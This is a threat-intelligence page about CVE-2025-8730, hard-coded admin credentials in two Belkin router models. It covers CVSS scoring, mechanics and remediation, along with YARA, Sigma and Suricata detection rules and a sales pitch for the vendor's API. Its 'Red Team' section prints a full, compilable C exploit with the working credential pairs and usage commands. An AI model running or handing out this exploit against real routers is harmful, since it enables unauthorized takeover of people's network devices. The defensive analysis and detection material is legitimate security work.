☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-8730

CVE-2025-8730 is a critical vulnerability affecting the Belkin F9K1009 and F9K1010 wireless routers running firmware versions 2.
📅 PUBLISHED: 2025-08-08 14:32 UTC 🔄 UPDATED: 2026-09-23 19:42 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.36%
👁️
3.36% probability
84.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8730 is a critical vulnerability affecting the Belkin F9K1009 and F9K1010 wireless routers running firmware versions 2.00.04 and 2.00.09. The flaw resides in the web interface component and involves the use of hard-coded credentials, allowing a remote, unauthenticated attacker to bypass authentication and gain full administrative access to the device. A public proof-of-concept (PoC) exploit has been released by the researcher "Byte Reaper," demonstrating the ability to authenticate using the credentials admin:admin and 00E0A6-111:00E0A6-111. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Given the critical CVSS score of 9.8, this vulnerability poses a severe risk to network integrity and confidentiality.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Threat Level: Critical. The vulnerability can be exploited remotely without authentication, leading to full device compromise. An attacker can modify router settings, intercept traffic, launch further attacks on the internal network, or use the device as a bot in a botnet.

Deep Dive & Mechanics

The vulnerability is a classic case of hard-coded credentials (CWE-798) within the router's web interface. The firmware contains static, unchanging usernames and passwords that are used for authentication. The PoC exploit reveals at least two sets of credentials:

  1. Username: admin, Password: admin
  2. Username: 00E0A6-111, Password: 00E0A6-111

The web interface likely uses a simple POST request to /login.htm with parameters login_username and login_password. The server-side code compares these submitted values against the hard-coded strings stored in the firmware. If a match is found, the server issues a session token (e.g., a cookie) granting administrative privileges.

The exploit code demonstrates this by sending POST requests to the target router's login page. It checks the response for success indicators such as "login_success", "Welcome", "Dashboard", or the presence of a "Set-Cookie" header. The lack of any rate-limiting or account lockout mechanisms makes brute-forcing these simple credentials trivial.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code logic can be inferred:

Vulnerable Code (Conceptual):

// Pseudocode for the vulnerable authentication handler
int authenticate(char *username, char *password) {
    if (strcmp(username, "admin") == 0 && strcmp(password, "admin") == 0) {
        return 1; // Authentication successful
    }
    if (strcmp(username, "00E0A6-111") == 0 && strcmp(password, "00E0A6-111") == 0) {
        return 1; // Authentication successful
    }
    return 0; // Authentication failed
}

Patched Code (Conceptual):

// Pseudocode for a secure authentication handler
#include <stdio.h>
#include <string.h>
#include <openssl/evp.h>

int authenticate(char *username, char *password) {
    // 1. Read the user database from a secure, hashed file
    // 2. Hash the provided password using a strong algorithm (e.g., bcrypt, scrypt)
    // 3. Compare the hash against the stored hash for the given username
    // 4. Implement account lockout after N failed attempts
    // 5. Use a secure random session token
    return 0; // Placeholder
}

The patched version would remove all hard-coded credentials and implement a proper authentication mechanism using a database of hashed passwords, secure session management, and brute-force protection.

Exploitation & Lab Setup

Red Team (Exploitation)

The provided exploit code is a C program that uses libcurl to perform the attack. It can be compiled and run on a Linux system.

Compilation:

gcc -o CVE-2025-8730 exploit.c -lcurl

Usage:

./CVE-2025-8730 -i <TARGET_IP>

Example:

./CVE-2025-8730 -i 192.168.1.1

The exploit will:

  1. Attempt to detect the device type by fetching the root page.
  2. Send a POST request to http://<TARGET_IP>/login.htm with the credentials admin:admin.
  3. Send a second POST request with the credentials 00E0A6-111:00E0A6-111.
  4. Analyze the response for success indicators and print the response body.

Full Exploit Code:

/*
 * Title           : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
 * Author       : Byte Reaper
 * CVE          : CVE-2025-8730
 * Description  : Exploit demonstrating an authentication bypass vulnerability
 *                in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides
 *                in improper session validation logic, allowing remote attackers to gain
 *                unauthorized access to the administrative panel without supplying valid credentials.
 */


#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#define FULL 2000
#define LOGIN_POST 1500

const char *nameFileC = NULL;
int verbose = 0;
const char *router = NULL;
const char *cookies = NULL;
int uC = 0;
const char *fullurl = NULL;
int sleepS = 0;
int count = 0;
void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax",
         "rdi"
    );
}
int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
        return 0;

    }
    return 0;
}
struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *wordLogin[] =
{
    "login_success",
    "Welcome",
    "Dashboard",
    "admin panel",
    "Set-Cookie",
    "Authorization",
    "token",
    "sessionid",
    "redirect",
    "access granted",
    "authenticated",
    "user authenticated",
    "login ok",
    "login complete",
    "login status=success",
    "login=1",
    "auth=1",
    "valid credentials",
    "home.htm",
    "main.htm",
    "index.htm",
    "config.htm",
    "firmware.htm",
    "admin.htm",
    NULL
};
void sleepTime(int sec)
{
    if (sec <= 0)
    {
        fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n");
        exitSyscall();
    }

    struct timespec req, rem;
    req.tv_sec  = (time_t)sec;
    req.tv_nsec = 0;

    printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec);

    while (nanosleep(&req, &rem) == -1)
    {
        if (errno == EINTR)
        {

            req = rem;
            continue;
        }
        perror("\e[0;31m[-] Nanosleep failed !\e[0m");
        exitSyscall();
    }

    printf("\e[0;34m[+] Sleep successful.\e[0m\n");
}
void detectDeviceType(const char *routerIp)
{
    printf("\n=================================== [type Device] ===================================\e[0m\n");

    CURL *curl = curl_easy_init();
    if (!curl) exitSyscall();

    struct Mem response = { NULL, 0 };


    char full[FULL];
    int len = snprintf(full, sizeof(full), "http://%s", routerIp);
    if (checkLen(len, full, sizeof(full)))
    {
        exitSyscall();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl,
        CURLOPT_CONNECTTIMEOUT,
        5L);
    if (sleepS)
    {
        sleepTime(sleepS);
    }
    curl_easy_setopt(curl,
            CURLOPT_TIMEOUT,
            10L);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);

    CURLcode res = curl_easy_perform(curl);
    if (res != CURLE_OK)
    {
        fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res));
    }

    if (response.buffer)
    {
        if (strstr(response.buffer, "F9K1009"))
        {
            printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n");
        }

        else if (strstr(response.buffer, "F9K1010"))
        {
            printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n");
        }

        else
        {
              printf("\e[0;31m[-] Unknown device type\e[0m\n");
            free(response.buffer);
        }

    }
    else
    {
        printf("\e[0;31m[-] Response Is NULL !\n");
    };
    response.buffer= NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
    printf("=====================================================================================\n");
}


void credentialsRequest(const char *routerIp)
{
    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
        exitSyscall();
    }
    CURLcode res;

    char full[FULL];
    int nL = 2;
    struct  Mem response;
    response.buffer= NULL;
    response.len = 0;
    for (int l = 0; l <= nL; l++)
    {
        if (curl)
        {
            char full[FULL];
            char post[LOGIN_POST];

            if (fullurl != NULL )
            {

                int lenFull = snprintf(full, sizeof(full), "%s", fullurl);
                if (checkLen(lenFull,full, sizeof(full)) == 1)
                {
                    printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
                    printf("\e[0;31m[-] Len : %d\n",lenFull);
                    exitSyscall();
                }
                printf("[+] Create FULL URL Successfully.\e[0m\n");
                printf("[+] Default Port Request : %d\e[0m\n", 80);
                printf("[+] FULL URL : %s\n", full);
            }
            else
            {
                int lenI = snprintf(full,
                sizeof(full),
                "http://%s/login.htm",
                routerIp);
                if (checkLen(lenI,full, sizeof(full)) == 1)
                {
                    printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
                    printf("\e[0;31m[-] Len : %d\e[0m\n",lenI);
                    exitSyscall();
                }
                else
                {
                    printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n");
                    printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp);
                    printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80);
                    printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full);

                }

            }
            if (l < 2)
            {
             	//login  admin
                int vA = snprintf(post, sizeof(post),
                    "login_username=admin&login_password=admin");
                if (checkLen(vA,
                    post,
                    sizeof(post)) == 1)
                {
                    printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
                    printf("\e[0;31m[-] Len (data): %d\e[0m\n",
                    vA);
                    exitSyscall();
                }
                printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
                printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l);
                printf("\n%s\n", post);
            	}
            	else
            	{
                	//login 00E0A6-111
                int vE = snprintf(post, sizeof(post),
                    "login_usernam=00E0A6-111&login_password=00E0A6-111");
                if (checkLen(vE,
                    post,
                    sizeof(post)) == 1)
                {
                    printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
                    printf("\e[0;31m[-] Len (data): %d\n",
                    vE);
                    exitSyscall();
                }
                printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
                printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l);
                printf("\n%s\n", post);
            }



            curl_easy_setopt(curl,
                CURLOPT_URL,
                full);

            if (uC)
            {

                curl_easy_setopt(curl,
                           CURLOPT_COOKIEFILE,
                           cookies);
                curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

            }
            curl_easy_setopt(curl,
                CURLOPT_POST,
                1L);
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDS,
                post);
            curl_easy_setopt(curl,
                CURLOPT_POSTFIELDSIZE,
                (long)strlen(post));
            curl_easy_setopt(curl,
                 CURLOPT_ACCEPT_ENCODING,
                  "");
            curl_easy_setopt(curl,
                    CURLOPT_FOLLOWLOCATION,
                    1L);
            curl_easy_setopt(curl,
                CURLOPT_WRITEFUNCTION,
                write_cb);
            curl_easy_setopt(curl,
                    CURLOPT_WRITEDATA,
                    &response);
            curl_easy_setopt(curl,
                    CURLOPT_CONNECTTIMEOUT,
                    5L);
            if (sleepS)
            {
                sleepTime(sleepS);
            }
            curl_easy_setopt(curl,
                    CURLOPT_TIMEOUT,
                    10L);
            curl_easy_setopt(curl,
                        CURLOPT_SSL_VERIFYPEER,
                        0L);
            curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYHOST,
                    0L);
            if (verbose)
            {
                printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
                curl_easy_setopt(curl,
                         CURLOPT_VERBOSE,
                         1L);
            }
            struct curl_slist *headers = NULL;
            headers = curl_slist_append(headers,
                              "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
            headers = curl_slist_append(headers,
                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            headers = curl_slist_append(headers,
                              "Accept-Encoding: gzip, deflate, br");
            headers = curl_slist_append(headers,
                              "Accept-Language: en-US,en;q=0.5");
            headers = curl_slist_append(headers,
                              "Connection: keep-alive");
            headers = curl_slist_append(headers, "Content-Type: application/json");

            headers = curl_slist_append(headers,
                              "Cache-Control: max-age=0");
            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            if (res == CURLE_OK)
            {
                long httpCode = 0;
                long totalR;
                double timeredirect;
                char *redirectUrl = NULL;
                printf("\e[0;36m[+] Request sent successfully\e[0m\n");
                if (response.len == 0)
                {

                    printf("\e[0;31m[-] Response Len Zero !\e[0m\n");
                }
                curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                             &httpCode);
                printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode);
                curl_easy_getinfo(curl,
                    CURLINFO_REDIRECT_COUNT,
                    &totalR);
                curl_easy_getinfo(curl,
                    CURLINFO_REDIRECT_TIME,
                    &timeredirect);
                curl_easy_getinfo(curl,
                    CURLINFO_REDIRECT_URL,
                    &redirectUrl);
                printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n");
                printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect);
                printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR);
                printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl);
                printf("\e[0;35m=======================================\e[0m\n");
                if (httpCode >= 200 && httpCode < 300)
                {
                    if (response.buffer)
                    {
                        for (int r = 0; wordLogin[r] != NULL; r++)
                        {
                            if (strstr(response.buffer, wordLogin[r]) != NULL)
                            {
                                printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]);
                                printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n");
                                printf("\n%s\n",response.buffer);
                                printf("\e[0;35m ======================================================================================================\e[0m\n");

                            }
                            if (verbose)
                            {
                                    printf("\e[0;31m[-] Word Not Found  : %s\e[0m\n",wordLogin[r]);
                            }
                        }
                    }
                    else
                    {
                        printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n");
                        printf("\e[0;31m[-] Possible Waf \e[0m\n");
                    }


                }
                else
                {
                       printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode);
                }



            }
            else
            {
                printf("\e[0;31m[-] The request was not sent !\e[0m\n");
                printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitSyscall();

            }

        }

    }
    curl_easy_cleanup(curl);
        if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }

}

int main(int argc, const char **argv)
{
    printf("+-----------------------------------------------------------+\n");
    printf("| Author : 		  [ Byte Reaper ]                   |\n");
    printf("| CVE : 		  [ CVE-2025-8730 ]                 |\n");
    printf("| Type Vuln : 	  [ hard-coded credentials ]        	    |\n");
    printf("| Exploit publishing : [ 08/08/2025 ]	                    |\n");
    printf("| Target Service : 	  [ Belkin F9K1009/F9K1010 ]        |\n");
    printf("+-----------------------------------------------------------+\n");
    printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n");
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
        OPT_STRING('f',
            "full",
            &fullurl,
            "FULL url  FORMAT (Login File)"),
        OPT_HELP(),
               OPT_STRING('i',
                          "ip",
                          &router,
                          "Router Ip  (12.12.12.12)"),
               OPT_STRING('c',
                          "cookies",
                          &nameFileC,
                          "Enter File cookies"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),

        OPT_INTEGER('s',
            "sleep",
            &sleepS,
            "Sleep Request"),
        OPT_INTEGER('k',
            "count",
            &count,
            "Number For Loop Request (-k 8 (8 Request))"),
       OPT_END(),

    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (router == NULL && fullurl == NULL)
    {
        printf("\e[0;31m[-] Please Enter target Router IP  !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i <IP> \e[0m\n");
        exitSyscall();
    }
    if (nameFileC)
    {
        uC = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (fullurl)
    {
        credentialsRequest(NULL);
    }
    if (sleepS)
    {
        sleepTime(sleepS);
    }

    if (count)
    {
        for (int j = 0; j <= count; j++)
        {

            if (fullurl)
            {
                credentialsRequest(fullurl);
            }
            if (router)
            {
                credentialsRequest(router);
            }

        }
    }
    detectDeviceType(router);
    credentialsRequest(router);
    curl_global_cleanup();
    return 0;

}

Blue Team (Detection & Defense)

Detection:

  • Monitor for multiple POST requests to /login.htm from the same source IP within a short time frame.
  • Alert on successful login attempts using the known hard-coded credentials (admin:admin, 00E0A6-111:00E0A6-111).
  • Monitor for unusual HTTP response codes (e.g., 200 OK on login page with success keywords) from the router.

Defense:

  • Immediate Action: Isolate affected devices from the network.
  • Mitigation: If a firmware update is not available, disable remote administration and restrict access to the web interface to trusted IP addresses only via firewall rules.
  • Long-term: Replace the vulnerable routers with devices that receive regular security updates.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to http://<ROUTER_IP>/login.htm with body containing login_username=admin&login_password=admin or login_username=00E0A6-111&login_password=00E0A6-111.
    • HTTP responses from the router containing strings like "login_success", "Welcome", "Dashboard", or "Set-Cookie".
    • Successful HTTP 200 OK responses to login attempts.
  • Host IOCs (on the router):
    • Unauthorized changes to DNS settings, port forwarding rules, or firewall configurations.
    • New, unknown devices connected to the network.
    • Unusual outbound connections from the router to known malicious IPs.
  • File IOCs:
    • The exploit binary CVE-2025-8730 (SHA256 hash can be computed from the provided source code after compilation).

Detection Engineering

YARA Rule

rule CVE_2025_8730_Belkin_Hardcoded_Creds {
    meta:
        description = "Detects exploit attempts for CVE-2025-8730 targeting Belkin routers"
        author = "Valters IT"
        date = "2025-08-08"
        reference = "CVE-2025-8730"
        hash = "unknown"
    strings:
        $login_admin = "login_username=admin&login_password=admin"
        $login_00E0A6 = "login_username=00E0A6-111&login_password=00E0A6-111"
        $login_path = "/login.htm"
        $success_indicator_1 = "login_success"
        $success_indicator_2 = "Welcome"
        $success_indicator_3 = "Dashboard"
    condition:
        any of ($login_admin, $login_00E0A6) and $login_path
}

Sigma Rule

title: Belkin Router Hardcoded Credential Exploit (CVE-2025-8730)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Belkin router login pages with known hardcoded credentials.
author: Valters IT
date: 2025/08/08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8730
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/login.htm"
        cs-request-body|contains:
            - "login_username=admin&login_password=admin"
            - "login_username=00E0A6-111&login_password=00E0A6-111"
    condition: selection
falsepositives:
    - Legitimate admin login attempts (unlikely with these specific credentials)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8730 Belkin Router Hardcoded Credential Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/login.htm";
    http_uri;
    content:"login_username=admin&login_password=admin";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-8730;
    priority:1;
)

Remediation & Mitigation

  1. Vendor Action: Belkin must release a firmware update that removes all hard-coded credentials and implements a secure authentication mechanism.
  2. User Action:
    • Immediate: Change the default admin password immediately upon first login. However, this is ineffective if the vulnerability allows bypassing authentication entirely.
    • Workaround: Disable remote administration (WAN-side access) to the router's web interface. Only allow management from the local network.
    • Firewall Rule: Create a firewall rule to block access to the router's web interface (typically port 80 and 443) from untrusted networks.
    • Replace Device: If a patch is not forthcoming, replace the affected router with a model from a vendor with a strong security track record.
  3. Detection: Implement the provided YARA, Sigma, and Suricata rules to detect exploitation attempts in network traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 521F9D5E48771600BEBA1B84] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8730/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.